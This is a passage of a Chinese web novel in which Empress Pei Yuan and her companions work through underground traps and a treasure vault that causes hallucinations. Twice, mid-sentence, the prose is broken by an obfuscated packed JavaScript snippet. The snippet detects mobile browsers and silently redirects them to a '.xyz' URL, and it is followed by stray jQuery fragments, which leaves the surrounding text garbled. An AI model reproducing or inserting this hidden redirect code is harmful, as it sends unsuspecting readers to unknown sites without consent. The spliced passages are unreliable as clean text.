“好了,”裴源打断二人的争吵,只问庄与之道:“你对榷场老板知晓多少?” 庄与之抿了抿唇,缓缓说道:“带领玉镇榷场扬名的掌柜,唤作房嘉致。此女为人精明,善于经营。房嘉致过世后,产业交到了其女房平心的手里。此女虽不及其母聪慧,却也是乐善好施之辈。有次外出遇险,被公孙白秋所救,一来二去,便与其成了莫逆之交。殊不知,这公孙白秋是个卑劣之徒,一步一步鸠占鹊巢,成为了榷场的新掌柜。” 他沉默须臾,继而缓缓道:“这公孙白秋,并非她本名。而是为接近房平心,刻意杜撰的假身份。所以这公孙白秋的过往,乃至真实姓名,至今无人知晓。” 裴源微微颔首,不再多言,只是轻轻偏头,目光落在郭嘉安身上。郭嘉安心领神会,高举手臂,紧握成拳的手掌瞬间摊开,凤鸣卫队伍应声而动,一分为二。一半原地驻足,拱卫裴源周全;郭嘉安则跟着另一队跟着主持继续前行,迈步入了游廊。 那主持在榷场多年,深得掌柜器重,地位自然不言而喻。无论是买家还是卖家,皆对她恭敬有加。而今,却被人当做人质,以剑押解,一时内心愤懑难平。她极力压制心头怒火,终于行至游廊后,趁着牧山稍有不备,猛地挣脱了她的束缚,疾步冲向游廊的柱子。只听“砰”的一声闷响,无数箭羽如流光般倾泻而出,瞬间刺向队伍。好在众人早有防备,箭羽纷纷落空。再看主持,早已没了踪影。 郭嘉安似是毫不在意,确认再无暗器袭来后,阔步走向裴源,沉声道:“安全了。” 游廊外的队伍这才放心迈步。可裴源刚踏上石阶,石头碾过青砖的细微声响突然从脚下传来。裴源尚未来得及反应,游廊地砖瞬间一分为二,猛地裂开下陷。众侍卫猝不及防,几乎连声音都未来得及发出,便齐齐坠入陷阱。 “郭嘉安!” 眼见地砖闭合,裴源一声惊呼,声中满是焦急与担忧,急忙再踏台阶,却无半点反应。 这列队伍的侍卫长唤作丁水瑶,急忙冲向适才主持所摁的木柱,叩击数下,亦无反应;重踱脚下地砖,亦无声响。 众人焦头烂额之际,西门眙忽而道:“这上头的机关,若要重新启动,需重新制动机芯。” 见众人齐齐望向他,他怯怯又道:“而那机芯,应在地砖下方。” 裴源默了两息:“所以,还有其他入口?” 西门眙点了点头:“原则上,是这样没错。” 那陷阱之下有无利刃机关,裴源无从得知,心中七上八下,担忧不止,却还要努力克制情绪,反问道:“依你之见,另一个入口是在园林之中,还是其他地方?” 事关多人安危,西门眙不敢马虎,亦不敢轻易下结论,尤其面对众人注视,更加胆怯。 裴源见状,忙上前安抚他道:“你莫要害怕,即便说错也无妨。”语毕,轻轻拍了拍他的肩膀,语气沉稳而有力:“小眙,朕此次带你出宫,是因瞧见那日你放在桌案上的竹简。当时朕不明其意,事后才知晓,那竟是奇门之术。朕相信你一定可以。朕在给你个线索,这公孙白秋曾是个发丘掘墓之人,想必对墓地中的机关之术颇为精通。所以这机关或许与古墓中所用有些相似之处。你且仔细观察看看。” 西门眙眼眸微热,自幼便对术法之事痴迷不已。可从前在家中,父母总是斥责他不务正业,失了男子的德行。但凡发现他涉猎术法之事,便动辄责骂,罚跪祠堂。入宫之后,虽不得宠,却也得了些许自由。他本以为凤帝知晓他的喜好,定会斥责不允,甚至误会他行厌胜之术,却不料,凤帝竟如此信任他。 西门眙重重点了点头,刚要开口回应,警戒的丁水瑶忽而喊道:“陛下小心!” 一道箭光化作掠影而来,丁水瑶横刀劈去,长箭一分为二,调转方向,擦着裴源的耳边直直插入身侧的木柱,箭身震颤,发出嗡鸣声响。 “游廊有挡,陛下快进入游廊中。” 裴源马上躲进游廊红木之后。 这时,一阵脚步声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15453912|164313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 由远及近,听声音,似不少人,而且脚步急速。不过片刻功夫,就将众人围住。 丁水瑶紧了紧刀柄,沉声道:“二队保护陛下!一队,上!” 刀剑声此起彼伏,裴源面色铁青,情绪依旧沉稳,对西门眙道:“不必害怕,即便朕遭遇不幸,也会在倒下前舍命护你!” 西门眙只觉一股暖流从心头涌起,仿佛那些被禁锢的日子,在这一刻突然释放,内心充满了力量。他坚定地点头道:“臣一定找到入口!” 说着,不顾周遭厮杀,忙俯下身观察起游廊机关。 果如庄与之所言,榷场的侍从如云,一批倒下,复又上来一批,凤鸣卫队伍很快疲乏,出现劣势,逐渐被逼退。 裴源不知何时捡起了一把刀,庄与之同样捡刀护在身前,眼见危机越来越近,他下意识望向西门眙,却见他坐在地上不知在嘀咕什么。 庄与之催促道:“西门眙,什么时候了你还在打坐?你能不能快点?” 西门眙满头细汗,拿着石块在地上飞快写着什么,闻言,也只是用衣袖擦拭了一下汗水,继续沉寂在自己的演算中。 良久后,他蓦地起身,看着比肩而立的几处楼阁,指向其中一间矮房道:“入口在那间房中!” 裴源松了口气:“快退!” 丁水瑶带着几人断后,有惊无险地退入了西门眙所指的房间。随着房门的紧闭,光线瞬间漆黑一片。裴源夜视感极强,很快发现这似乎是一间布满杂物的房间,不仅无窗,甚至空气里隐隐透着霉味。 适应了黑暗的侍卫急忙搬起家具抵住房门,才松下口气。然而,看清这间屋子的布局后,众人震惊得说不出话来。这是一间四四方方的屋子,除了门,再无其他出路;除了杂物,再无其他物品。若是外头点把火,这和被关进窑坑没啥区别了。 黑暗中,庄与之一把扔了手里的刀,不顾体面地席地而坐。可当他看清屋中的布局后,脸色瞬间从白变青,又从青变黑:“你够狠,这下连退路都没了。” 西门眙圆眸眨了眨,片刻的冷静后低语:“反者道之动,弱者道之用。天下万物生于有,有生于无。”[注1] 庄与之微微蹙眉:“说人话!” 西门眙沉声道:“看似无望的死局,可能另有生机。”他看向裴源:“陛下,这间屋子必有其他出口。” 裴源喉咙一滚,虽然觉得他在扯淡,但事已至此,只能道:“你说,我们做!” 西门眙道:“找机关!可能是一根木头,也可能是一把刀剑,或者是墙上的一块砖。” 众人:“……” 众人看着屋中杂七杂八的破烂桌椅,破铜烂铁,再看看满墙的砖,惊愕得说不出话来。门外冷刃的劈砍声突然停下,丁水瑶心道不妙,忙顺着缝隙望去。一缕火光顺着缝隙映入房中:“她们要火攻!” 庄与之闻言,默默捡起了自己的刀:“算了,我还是自缢吧,这样死得体面些。” 众人:“……” 这话,也颇有几分道理。 只有西门眙还在四下拨弄着杂物,闻言急道:“来不及了,要死等会儿死,先帮忙找找机关再说。” 庄与之看向一旁伫立的裴源:“陛下,你说句话啊?” 裴源的视线从屋中杂物移向众人,沉声道:“你们谁带铜钱了?” 庄与之愣了一下,随即道:“……铜钱收买鬼差的话,是不是太草率了?” 只有丁水瑶默默将荷包递了过来,裴源接在手里,语气坚定道:“要死你死,朕还没活够呢!”说着,从中取出六枚铜钱,还了丁水瑶荷包:“火攻必有浓烟,届时不烧死也呛死了,先把门缝堵上。” 丁水瑶恍然大悟,忙招呼起众人行动。 裴源则是拿着铜钱,递给了西门眙:“来,摇一卦,缩小一下范围。” 西门眙一愣,旋即兴奋道:“陛下真聪明,我差点没想到。” 说话间,他跪地阖眼,将铜钱放在掌心轻轻摇晃,几息后松手,铜钱散落。西门眙将铜钱从上到下依次摆正,口中念念有词。 “东向。” 裴源转了一圈,尴尬道:“朕……分不清东南西北。” 丁水瑶见状,指向东侧:“这是东。” 裴源顺势望去,这个方向不仅有桌椅,甚至还有破旧的兵器,故而再问:“木?还是金?”凤眸落在墙上:“或是土?” 西门眙微微蹙眉:“好像是土?” 尽管门缝被堵住,但火势渐旺,依旧有浓烟钻入。裴源也开始着急:“什么叫好像?” 西门眙道:“因为这个卦象说的是……” “不用说原理,”裴源撕了一块裙角掩住口鼻:“直接给我答案。” 西门眙斩钉截铁道:“土生金。” 裴源微微蹙眉,沉思道:“金为钥匙,土为锁孔。”言罢,她直接攀上破桌,摸起墙壁来,还不忘对众人道:“一半人过来摸砖,有松动或能感觉到有风的,就是锁孔;另一半人观察兵器,样式特别,或者刀剑顶端有磨损的,便是钥匙。” 众人似明确了方向,队伍马上一分为二,齐齐翻找起来。只是浓烟越来越重,不多时,裴源便已眼泪直流,嗓子干痒,忍不住咳嗽起来。她只能闭着眼睛,慢慢摩挲着墙壁,就在此时,隐约察觉有道微风贴着掌心拂过,那风势很轻,轻到好似绒毛拂过。 裴源心中一颤,更加小心翼翼地确认。 “找到了!”西门眙说完这句便开始咳嗽,断断续续地又道:“……钥……匙。” 裴源转头:“拿来。” 经两位侍卫传递,一把宽扁的半截长刀传了过来。裴源眯着眼打量,刀口的锯齿果然与钥匙相近,于是慢慢将其深入适才那枚砖的缝隙中。 “咯噔”一声响入耳,裴源顿时心下一松,想也不想地扭转刀柄。而后,房中地面传出摩擦声响。 众人见势,全然面露喜色。只是那下面漆黑一片,裴源两步跳下桌子,不管不顾地踏入了台阶。 丁水瑶急道:“陛下莫急,请容卑职先行探路。小心有机关!” 凤帝的声音带着回声:“安全,下吧。” 丁水瑶:“……” 庄与之想也不想,紧随其后,西门眙亦步亦趋,其余众人见状,再不顾其他,先后跳入黑暗之中。 落地后,熏人的烟火登时不见,众人纷纷解开面罩,大口喘息。丁水瑶则是掏出火折,轻轻一晃,微弱的光线虽暗,但也将环境照得清晰。 眼前似是一道地下密道,深不见底,宽度仅有两尺,仅容一人穿过。见墙上放着一把火把,丁水瑶将其点亮后,举着火把上前。 “陛下,可需卑职先行探路?” 裴源拍着西门眙的背,听他咳嗽声小了些,才道:“一起吧,也能有个照应。” 丁水瑶点头:“那陛下还是走在中间。” 说着,号令队伍,自己带一队前头带路,留下一队断后。众人似一列蚂蚁一般,有条不紊地依次穿行。 时间似过了很久。 地道的空气潮湿阴暗,虽然缓解了众人的烟火呛,却很快让人背脊生寒。 裴源微微蹙眉:“感觉不太对劲,我们好像在原地打转。” 会场的后院虽很宽敞,倒也不至于走了这么久还没走到尽头。 庄与之道:“铜钱还在吗?在摇一卦?” 西门眙道:“你当我是什么?说来就来?” 庄与之撇嘴:“人家江湖骗子一天还能摇三卦呢,你这一次就不行了?” 西门眙不满:“人家江湖骗子还知道要法金呢?怎么不见你提?” 庄与之:“要钱?好说啊!要多少?给你便是!” 西门眙:“你……” 裴源本就心烦,听到此处转过身,照着二人的头一人赏了一把掌:“吵吵吵!斗鸡嘛?一言不合就吵!再吵回去就把你俩都休了!” 西门眙:“……” 庄与之:“……” 51. 第 51 章 西门眙抿着嘴不敢说话,庄与之低着头不敢吭声。 气氛瞬时安静下来,众人只听凤帝的呼吸声由重变缓,石壁潮湿,水滴凝结滴在火把之上,燃烧的火焰发出了一声爆鸣,火焰跳跃着,将众人的影子拉长又缩短。 裴源下意识望向丁水瑶手中燃烧的火把,沉道:“眼睛会骗人,灭了它。” 众人均是一愣,丁水瑶亦在短暂的沉默后,遵命:“是。” 火把传出一声嘶响带走了唯一的光源;一缕青烟化作云烟雾,飘入众人的鼻腔。漆黑的环境里,丁水瑶的声音带着回响:“陛下,继续向前吗?” 凤帝深沉的声音回应她:“继续向前,朕来带队。” 众人闻言,齐声开口:“陛下不可!” 裴源已自顾推搡开挡在身前的侍卫,一路行至丁水瑶的前面道:“彼此照应好前后的人,跟着朕走。” 地道伸手不见五指,裴源一路小心摩挲向前,身后的众人默契的保持一定距离,一时间,只有众人轻微的脚步声在地道回荡。 墙壁湿润粗糙,空气中弥漫着发霉的气息。偶有凝结的水滴悄然落下,滴落在众人的头上、肩膀、手臂,凉的彻骨,像是在提醒着黑暗中迷途的众人。 久久,裴源感觉自己的呼吸在寂静中显得格外清晰,她甚至能听到自己心跳。过于专注之下,她竟察觉到一丝细弱的风,那风很轻,吹起额间垂落的发丝拂在脸上,她一时分不清是前行步伐生出的风,还是本就属于黑暗的产物。 于是她试探寻找风的来路,黑暗中没有光线,只能依靠触觉去感知。细弱的风似变的有了力量,她愈发坚定先前,却不想被一块坚实的石壁拦住了去路。 众人脚步惯性,撞了人后堪堪停下步子。 丁水瑶似有所觉:“陛下,可要点火?” 裴源不语,只轻轻摩挲着湿润的墙壁,终察觉到有弱风从墙缝中钻入,似感受到身后队伍的紧张。裴源才低声说道:“好。” 火焰的燃烧又给黑暗带来了一线光明,众人在短暂的适应后,就见凤帝耐心的摩挲着挡在她身前的每一块石壁,终于,动作一顿。 丁水瑶急道:“陛下,小心有埋伏,卑职来吧!” 裴源并未坚持,与她换了位置后号令众人贴着墙壁站定,丁水瑶试着用力去推石门,石头摩擦的窸窣声响后,一阵短暂疾风涌入,石门变的轻巧起来,不过须臾,石门大敞,露出了一间宽敞的耳室。 丁水瑶并未鲁莽,只将佩刀点击地面,步步试探,小心踏入:“安全。” 众人这才松了口气,依次鱼贯而入,排在末尾的侍卫突然指着身后说道:“那是不是我们刚刚下来的地方?” 裴源望过去,虽然火把的光亮微弱,可从模糊的空间判断,正是刚刚下来的地方。 丁水瑶望着刚刚取火把的凹槽道:“难怪这火把上的猛火油如此充足,看来就是为了迷惑意外的传入者,点燃后,人会下意识一路向前,路径狭窄,又只有一条路,会让人迷失方向和时间,从而一条路走到黑。” 众人点头附和:“这榷场的掌柜真是歹毒。” 裴源打量着耳室,耳室四四方方,四周墙壁上雕刻着青龙、白虎、朱雀、玄武四象。奇怪的是,那四象都没有尾巴,反而在下方印刻着奇怪的符文。 耳室的中间放着一个四方石台,四角凸起,像是形状各异的把手。她试着扭动把手,并无松动,但从缝隙来看,应该是嵌入其中。恐需要什么机关才能取下。 她闻言,淡淡道:“富贵人家的墓地都要建造一处假的墓穴用以迷惑盗墓者;更何况兴盛了多年的榷场?为了藏起金银,总要动些脑筋。” 她默了默,赞叹道:“这公孙白秋的脑回路果然不能以常人的思维去揣度,譬如刚刚那间杂物房,建在角落合情合理,里面堆满了杂物,也能让人放松警惕。最重要的是,它还不落锁。就那么堂而皇之的命人随意进出。到真应了那句:最危险的地方,倒也最安全。” 西门眙也在观察着耳室,瞧着墙上的四象图案,可听裴源提及‘墓穴’二字,瞬间了悟,若这耳室当真连接着装有金银的储藏间,那这公孙白秋的确是用建造墓地的方式,在制作自己的藏宝阁。 丁水瑶则是不解:“陛下若要抄了这榷场,随意找个名头,派兵来围剿便是,何必亲自犯险?” 另一侍卫卫玉涵道:“陛下是圣明之主,如何做得地痞无赖之举?岂不会落人口实?” 裴源面无表情:“都要将人家的财产占为己有了?朕还称得上圣明之主?” 卫玉涵:“……” 裴源笑笑,行至卫玉涵面前拍了拍她的肩膀以示安抚:“这天下诸多精美华物,大多是各地官员四下搜罗,历经兜兜转转,最后的归处,一定是进了宫廷之内。就算是有沧海遗珠散落民间,谁不是巴巴的守着藏着?可玉镇这么一个小小榷场,每月开市两日,一夜竞拍宝物竟高达五十余件,你们可想过这些东西?这些拍品,她们是从哪里来的?” 耳室之中静默无言。 数息后,丁水瑶试探道:“倒卖御赐之物,乃诛九族的罪过,即便榷场与皇室有所勾结,可禁军层层把手,一个月送出几件便也罢了,此地与京城不过十余里,若是新的御赐之物,必会引来注意。所以这一百余件的拍品,只能是她们从……皇陵之中所得。” “不错,”裴源沉道:“她们盗了我们裴家的墓,朕拿回她们的拍资,合情合理。至于为何不派兵?第一,朕不知该派谁;第二,这榷场实在能耐,谁知朝堂里有没有她们的人通风报信;第三……” 裴源冷笑一声:“朝廷的国库就像一个无底洞,无论添了多少金银进去,总会空虚。索性朕独吞了这笔巨款。好过需要用银子的时候备受掣肘。” 室中又是静默良久,一直静默无言的庄与之突然忍不住说道:“陛下不用与臣等解释这么详细。” 裴源随口道:“因为你们都是朕最最信任之人啊。” 众人心头一颤,丁水瑶更是带领众人跪地道:“能得陛下信任,是卑职等的荣幸,卑职等定当肝脑涂地,以报陛下知遇之恩!” 声音气势如虹,回响声穿过石洞环绕不绝,仿佛要将石壁都震得颤动,直击人心。 凤帝深受感动,忙上前相扶,眸中光芒闪烁,语气温和饱含诚意:“朕登基三载,倍受群臣鄙夷糊弄,若非诸位鞍前马后,替朕分忧解难,朕恐要被群臣压迫得喘不上气。你们的忠诚与付出,朕铭记于心,绝不辜负!” 她顿了顿,目光扫过众人,语气愈发坚定:“今日危机,由你们陪朕一同面对,也算是朕与凤鸣卫的姐妹们同生共死了一回!朕无以为报,此行若顺利归巢,朕必重重恩赏凤鸣卫所有姐妹!” 众人心有所感,丁水瑶坚定回应:“陛下放心,卑职等定护陛下周全,且要将榷场的金银,全部搬回陛下的私库。” 西门眙听到此处,心中激荡,直接一头涌入了裴源的怀里,声音哽咽道:“能得陛下信任,臣三生有幸,只要陛下不休了臣,臣必对陛下赴汤蹈火。” “傻小子,朕还指望你破解这些机关带朕逃出去呢,哪里舍得休了你,适才不过说的气话罢了。”裴源摸摸他的头:“你郭哥哥现在生死未卜,还等着你去救呢,乖,快想办法带朕过去。” 西门眙闻言起身,随手拂了脸颊上的泪,正色道:“臣好像一经找到了打开这耳室的机关,不过需要几人合力。” 丁水瑶忙道:“淑君吩咐便是!” 西门眙指着四方石案上的把手道:“大家仔细看看着把手,其实是四条尾巴,对应的正是四象,我们要将四尾的方向与墙上的四象归一,而后像钥匙一般一起扭转,便可打开这耳室的门。” 丁水瑶蹙眉道:“可这尾巴根本就动不了。” 西门眙道:“四象下面的符文便是提示。”他行至青龙图下,指着符文道:“此符文大意为龙腾九天,先动后静。我的理解是,向上,后归于原位。” 他有指着白虎下的符文道:“虎踞山林,左顾右盼。向左,再向右。” “朱雀展翅,上下起舞。向上,再向下。” “玄武镇水,内外兼修。向里摁压,再提回原位。” 他言此,看着丁水瑶道:“我需要四个人站在四个方位,按照我刚刚说的口诀,一同动,兴许就能取出四尾。” 丁水瑶马上招呼另外三人分别站在一角,随着口令,同时摆弄把手,奇怪的是,明明刚刚纹丝不动的把手,此刻竟轻松拨弄开来,甚至按照西门眙的口令摆动后,石台竟发出了一声轻微的震动。 众人下意识警戒起来,却不想,刚刚嵌入石台的四个把手竟自动脱落在地。 丁水瑶眼眸微亮,看着西门眙的目光都带着敬仰:“真是神了!” 西门眙被赞的脸色一红,不好意思的挠挠头后,指着墙上四象的图案道:“我试过了,四象尾巴下的石块是松动的。现在你们一同插入石尾,同时扭转,定能开启耳室。” 数息光景,随着脚下震颤,室中石台竟缓缓裂开四瓣,而后,出现一条深不见底的石阶。 丁水瑶这次不等裴源发话,先一步跳入其中探查情况。 西门眙则受不了众人敬佩的注视,悄无声息的躲在了裴源的身后。 裴源轻笑着侧头看他,却意外瞧见庄与之立在她的不远处颔首不语,似察觉到了女子的注视,才缓缓抬头看着女子,凤帝虽嘴角含笑,可眸色微深,仿佛正饶有深意的盯着自己。 他正要说些什么,丁水瑶的声音从下方传上来:“陛下,安全!” 众人不再犹豫,依次步下石阶,先下石阶的裴源还不忘在下驻足,去扶两位郎君,轮到庄与之时,男子的手刚搭在裴源的手臂上,忽闻女子低声道:“台阶湿滑,德君小心才好。” 庄与之指尖微颤,两息后,方才小心翼翼的步下台阶。 又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15472582|164313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是一条甬道,众人一路向前时,忽闻刀剑击打石壁的声响,裴源眸色一凛,急急忙忙加快步伐,行至尽头时,又是一块石壁。 丁水瑶用力推开,石头摩擦地面的声音似引起内部众人的主意,刀剑声同时停止,随着石门缓缓而开,裴源一眼瞧见举着刀剑的神色警惕的郭嘉安、牧山一行人等。 他们似一直找不到出路,只能凭借手中的利刃击凿石壁,不知凿了多久,每个人的利刃都出现了卷刃裂口。 瞬间,郭嘉安如风一般突然冲到了裴源面前,桃花眼眸将她从上打量到下:“还好,还好,陛下没受伤。” 裴源微微蹙眉,稍显嫌弃道:“就是说……实在找不到路的话,你能不能稍稍动动脑子?” 郭嘉安:“……” 郭嘉安负气行至一旁坐在石阶上,没好气道:“陛下好没良心,枉臣发了疯似得。” 裴源摸摸鼻子,几步行至他的身侧:“朕没有怪你,就是担心你们,万一力竭时被敌人钻了空子,那死的何其冤枉?” 郭嘉安似泄了气的鹌鹑,拄着一把破剑,颔首将头藏在双臂之间,久久未曾回声。 在裴源眼中,郭嘉安宛若一只高傲的孔雀,不是在开屏,便是在开屏的路上,何曾有过眼下这般颓废模样?裴源察觉他情绪不对,忙俯下身轻声道:“怎么了?” 郭嘉安沉默不语。 裴源只得下了一节台阶,从他双臂之间俯看他的眉眼,光线昏暗,裴源也瞧不出什么,只觉得他此时有些落寞。于是想了想,安抚他道:“公孙白秋如狡兔一般,你平素生活在后宫,又是临危受命,短短两日,未曾探查出榷场后院有这么多诡谲的机关,不是人之常情吗?朕真的没有怪你,你也不必过分自责。” 郭嘉安依旧不语,只是垂着头缓缓抬起,不知是颔首太久眼中不适,还是这地下阴暗潮湿,郭嘉安只觉得眼前一片朦胧,所以瞥开视线不去看她。只低语道:“陛下什么不知道。” 裴源轻叹一声,无意间瞥见他拄着剑的手擦伤遍布,于是拉过他的手,取出帕子,替他简单包扎:“朕自不知你这小儿郎的心事。朕只知道,现下,我们都在一起,只要我们众人一心,相互信任,一个小小的地下机关陷阱,算个屁!” 郭嘉安:“……” 郭嘉安无奈苦笑。 裴源这才起身,伸出手道:“好了,快起吧。” 郭嘉安轻叹一声,伸手与之重重一握,‘啪’的一声响后,被女子拉着起身,几乎与女子贴面。他心念一动,正准备做些什么,却被突然小跑过来西门眙打断了气氛:“陛下,臣知道怎么出去了。” 裴源这才得空打量起眼前的暗室,如果说之前的耳室四四方方,那么此间便是八面玲珑,八扇墙壁刻有‘乾、坤、震、巽、坎、离、艮、兑’,同样的,下面刻着奇怪的符文,室中间位置则是一张八仙石桌,同样对应着八个卦象,上面有个凹槽,凹槽之内摆放着八枚玉石令牌,令牌无字,不过颜色各不相同。 同样的,玉牌嵌入其中纹丝不动。 裴源狐疑追问:“此间机关,与上一间开启的方式相似吗?” 西门眙想了想道:“一样,也不一样。更复杂一些,但原理相通。” 裴源眉头紧缩,反问他道:“如果你是公孙白秋,会用同一机关制造出两个密室吗?” 她默了默,指着符文又道:“如果这些符文还是解密的密码,那朕真有些糊涂了,这公孙白秋是善人不成?设了谜题却又给了答案?它是挡住一些不懂符文的人,比如你的郭哥哥。可万一……遇到一个通的,譬如你,那这密室存在的意义又是什么?” 西门眙眨了眨眼,半晌后,嘀咕道:“好像是有些奇怪哦。” 裴源静默数息,又道:“此间密室是游廊的地砖开启后坠落,那应该离地面很近。可适才,我们明明是沿着台阶向下的后,一路寻过来的。” 她话音一顿,给了西门眙一个反应的时间,见他似还有些混沌,便又道:“我们下来时,途径那条甬道,若是照明前行,便是在原地绕圈;那么同理——” 西门眙恍然大悟:“陛下是说,这两间密室可能是在上下转圈?” 见裴源点头,西门眙又是不解:“可公孙白秋为何要这么做?” 裴源沉吟道:“有两种可能,要么,就是要困住外来人,让她们在这地下无尽循环;要么,墙上所给的符文密码、以及你看到的都是障眼法,真正的入口,或是出口,则是要摒弃这些玄之又玄的提示。” 西门眙圆眸轻眨,喃喃低语:“摒弃?摒弃?” 他似心有所感,慢慢踱步开始观察起房间的每一处细节,每一个角落,尤其是那些容易被忽略的地方。 众人闻声而动,亦开始仔细搜寻,无论是墙壁的接缝、石台的底部、头顶还是地下的每一块砖石,众人都看的十分仔细。 终于,庄与之的声音打破宁静:“臣,找到了。” 52. 第 52 章 那是一个小洞,在四块古砖拼接的缝隙间隐匿,孔洞实在微小,若非庄与之慧眼察觉,即便众人反复搜寻,亦不过匆匆一瞥,旋即忘却。 郭嘉安的桃花眼微挑,落在庄与之的脸上满是探究:“德君的眼睛倒是好使,这都能发现。” 庄与之轻哼一声:“臣见陛下摩挲砖缝探风,不过是有样学样罢了。” 裴源未曾理会两君争吵,只从发间拔下一支簪探入洞中,竟感到有一丝微妙的弹力。她心中一喜,愈发笃定用力探入。只听“咔”然一声,整个石室地面微微震颤,仿佛整个石室都在扭曲一般。 牧山、丁水瑶等人毫不犹豫,立即将帝君等人护于中央。众人凝神屏息,紧张探查着四周,发现刻着“离”字的石墙缓缓开启,露出一间更为深邃漆黑的内室。 石门全然开合时,黑暗中忽地燃起一道火焰,而后,那火焰便似火龙般瞬间蔓延。不过数息,石墙上那圈火槽全部点亮,将整个空间照得亮如白昼。 众人眼前豁然开朗,而后愣在原地。 因为那内室之中,金银财宝层层叠叠,堆满石室,环绕摆放,仿若在向久违的主人张开怀抱,静候归来。 即便裴源贵为天下之主,平日见惯奢华,此刻也被这金光闪烁的财宝晃得眼花缭乱,目瞪口呆地伫立原地,久久回不过神来。 侍卫中,早有人抑制不住心头激荡,缓缓迈步后脚步变的急速,冲入黄金堆里。 第二个人紧随其后,然后是第三个、第四个……而后几乎是一拥而上。 她们似乎忘了凤帝的存在,更忘了自己身份和目的,直接抓起金锭放肆的大笑着:“是金子,真的是金子,哈哈哈哈哈,发财了,我发财了……” 牧山亦沉溺在金银给她带来的震撼之中,可不过片刻,只觉眼前一阵迷雾,她揉了揉眼,内室的金银堆竟成了万剑盅,最高处的那一柄剑,居然是大名鼎鼎的星渊剑,那剑长约三尺三寸,剑身纤细而修长,通体泛着淡淡的幽光,仿佛是黑夜中璀璨的星辰。 她想也不想的飞身而去,就要拔下仔细观摩。 很快,环护在帝君众人接二连三冲入内室,就连郭嘉安、西门眙、庄与之亦在其列,他们的表情或是沉醉、或是享受、或是达成心愿的完满。 裴源觉得哪里不对,她试图去召唤众人,却突然头疾复发。 头疼欲裂时,眼前如跑马灯般光景流转着,很快,她看到了一个女子,那女子消瘦欣长,皮肤是健康的小麦色,梳着利落的马尾跪在自己的面前:“草民蒙殿下救命之恩,没齿难忘。草民对天发誓,此生愿为殿下赴汤蹈火,绝无二心。” 殿下? 裴源愣愣的看着她,发现女子抱拳的手上,有一个刀疤,那似乎是一个贯穿伤,也让裴源明白了她的身份,她正是行刺太女时,被自己一刀刺穿掌心的刺客,居望舒。 居望舒家中本是富甲一方的商贾,却被太女设计侵占,一个莫须有的罪名,害得家中父母亲族全部入狱,就连自己的新婚夫郎,亦因美色惨遭凌辱。她苦心谋划数日,终于在宴会那日埋伏,想要取下太女的首级。 她是抱着鱼死网破去的,虽未成功,但也重伤了太女,更庆幸的是,她在裴源的暗助下逃出了宴会。 一个月后,她来向裴源投诚,裴源只是淡淡看着她:“你误会了,太女遇害,本宫亦不会好过,所以本宫不是在救你。你走吧,本宫不过不入流的皇女,身边不需要亲随。” 居望舒并不放弃,日夜鞍前马后,跟随左右,不气不馁,裴源终抵不住她的诚心,接纳于她。两人看似主仆,实则裴源早已将她视作姐妹,真诚相待。 春去秋来,两载光阴,裴源从不受宠的皇女,成为了稍有话柄的王卿,彼时的她身边亦有追随自己亲卫,可待居望舒依旧亲切,她视居望舒为知己伙伴,放心将后背交付之人。 彼时,西南的宁瑞郡引发虫灾,蝗虫吃光了良田,断绝了生计,百姓流离失所,饥荒与盗匪四起。凤帝怜悯百姓,派裴源赈灾安抚,队伍日夜兼程赶到宁瑞郡,安抚百姓,控制虫灾,眼看局势即将好转。 可就在分发粮食的前夜,发生了意外。 居望舒突然反水,趁夜潜入粮仓放火烧粮。裴源似有所觉,赶到粮仓时,火势已然蔓延。她质问居望舒缘何如此? 居望舒见事情败露,不再遮掩,冷漠出声:“太女欺我家人,夺我家业,辱我夫郎。我苦练武艺,只为手刃大仇,却被你横加阻挠!你竟还自以为是,以为自己是在救我?” 裴源呆立在火海之中,居望舒却觉得她很可笑:“你任由太女被我所伤,我知她必不会放过你。我忍辱负重,跟在你身边,撺掇你与太女对立。可你呢?整日自诩遗世独立,不屑名利场的争端,被人欺负到头上也只会不痛不痒地反击,满口仁义道德,坚守底线?呸!你就是一块扶不上墙的烂泥!” 粮仓瞬间化为一片火海,不可置信的裴源在灼烤下慢慢回神,她不可置信的质问:“你对我不满,报复我便是,为何要火烧粮仓?你知道你烧毁的是多少百姓的救命粮?” 居望舒神色癫狂,在火焰下显得格外狰狞:“什么狗屁百姓?她们的生死与我何干!我是商人,商人逐利,我只为利己!你既不能助我复仇,那我便将你视作跳板,此行毁了你,便是我叩开昭王卿府的砖石!” 说罢,她毫不留情地向裴源挥出一柄暗器。裴源万万没想到她会对自己下此狠手,错愕间闪身,手臂还是被刺入利刃。她惊愕地看着居望舒,却见对方冷笑:“殿下何必如此错愕?你刺穿我的掌心,我刺伤你的手臂,礼尚往来,天经地义!” 居望舒说罢,转身逃离火场,仿佛那两年相处并未有一丝一毫值得她眷恋之处,毫不留情的留下负伤的裴源在火海中挣扎…… ‘阿源!阿源!’ ‘陛下!陛下!’ 眼前画面如迷雾散去,头部的疼痛隐隐欲犯,却已不是难捱的程度,她试着睁开眼,才发觉自己躺在陆长行的怀里。 陆萧玉、乌宛白等人亦在左右,每个人脸上都系着面巾,见她醒来,眼露喜色。 乌宛白几乎泪流满面:“陛下无碍便好。” 裴源挣扎坐起,内室的金银依旧,癫狂的众人也依旧疯癫,他们都沉溺在各自的梦境里。 她无力道:“这是怎么回事?” 